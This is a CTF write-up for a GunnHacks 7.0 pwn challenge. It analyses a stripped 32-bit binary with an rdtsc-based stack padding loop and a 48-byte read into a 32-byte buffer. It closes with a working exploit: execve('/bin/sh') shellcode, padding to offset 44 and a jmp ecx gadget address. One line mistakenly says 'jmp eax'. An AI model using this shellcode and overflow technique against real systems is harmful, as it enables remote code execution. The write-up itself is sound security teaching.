this was the first of two challenges in the gunnhacks 7.0 ctf; the bug is a buffer overflow, with aslr, nx, and stack protection disabled. also it's stripped and the section headers are a bit fucked up >:). it's statically linked, and does not have libc.
the lemons have revolted in the lemon gallery due to abysmal working conditions and forced labour. they've put up a blockade which seems almost inpenetrable; i can't even find the libc version! connect with
nc shell.ctf.gunnhacks.com 45753
.
we can run pwn checksec
to get an idea of what security features the binary has:
alright. if we can overflow a buffer, we might be able to jump straight to our shellcode. let's take a look in gdb (using starti
to immediately break when the program starts).
line one has the instruction rdtsc
. rtfming shows this stores the number of CPU cycles since reset in edx:eax. this is rather odd, and may indicate it was handwritten in assembler.
> rdtsc
> xor edx,edx
> mov ecx,0x2710
> div ecx
> mov eax,edx
in line 2, register edx
is zeroed. div
will divide a 64-bit number in edx:eax by the provided operand (in this case ecx
, which is equal to 0x2710). it stores the quotient in eax
, and remainder in edx
. this explains why edx
is set to zero: we want to be sure the upper 32 bits of the input is zero, we don't care about the upper bits of rdtsc
. on the final line, the remainder is moved into eax
. these five lines in pseudocode are: eax = (lower 32 bits of cpu clock) % 0x2710
.
the next part looks like a loop:
xor ecx,ecx push 0x5eadeef inc ecx cmp ecx,eax jle 0x80481e3
ecx
is first set to 0, and is used as the iterator variable. on each iteration, the value 0x5eadeef
is pushed to the stack, and ecx
is incrememted. if ecx
is less than or equal to that previous value we found (relating to the cpu clock), we continue the loop.
for (ecx = 0; ecx <= eax; ecx = ecx + 1) {
push(0x5eadeef);
};
how odd. why would we be pushing junk (seadeef) to the stack, and why would the amount rely on the cpu clock?! let's continue looking at the assembler code.
xor ebp,ebp pop esi mov ecx,esp and esp,-16 push 0xb16b00b5 push 0xb16b00b5 push ecx push esi call 0x80481a2 add esp,16 mov ebx,eax mov eax,0x1 int 0x80 ret
it seems like we're pushing more junk to the stack, and doing some stuff with registers. at the end, we see the 0x1
system call:
mov eax,0x1 int 0x80
if we look at the assembler for the function we're jumping to, we see:
the first two lines are just stack alignment. two more functions are called, and it's now pretty evident that this part probably wasn't handwritten; maybe the beginning was inline assembler. we can eventually find (using ghidra perhaps 👀) that a system call to read
is performed, onto the stack. something like:
char buf[32];
read(0, buf, 48);
this overflows the buffer by 16 bytes, more than enough to redirect execution. we can use a cyclic pattern to work out the offset to the location of the return address.
it seems to be at offset 44. immediate thought is to just kind of guess the buffer location, and jump to our buffer with a nop slide. unfortunately, the large amount of seadeef is a problem. a random-ish amount is pushed onto the stack, making esp address vary. whilst we could possibly just brute force it until the stack is at a convenient location, a variation of 0x2710 is a very large amount, and even if our runway for a nop slide wasn't tiny, it probably wouldn't be feasible.
looking at the assembler, ecx
is going to be point to the buffer we read into when this function returns. conveniently, ropgadget tells us there is a jmp ecx
gadget in the binary at 0x08048289. we can put shellcode in the buffer, and then redirect execution to the jmp ecx
gadget. jmp eax will then jump to our shellcode. here is the final exploit:
buf = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
buf += "A"*(44-len(buf))
buf += '\x89\x82\x04\x08'
print(buf)
the amount of solves (3 solves) was lower than i anticipated, but i think most people who solved it enjoyed it.
this is excruciatingly detailed at the beginning, but then I made a cup of tea and got distracted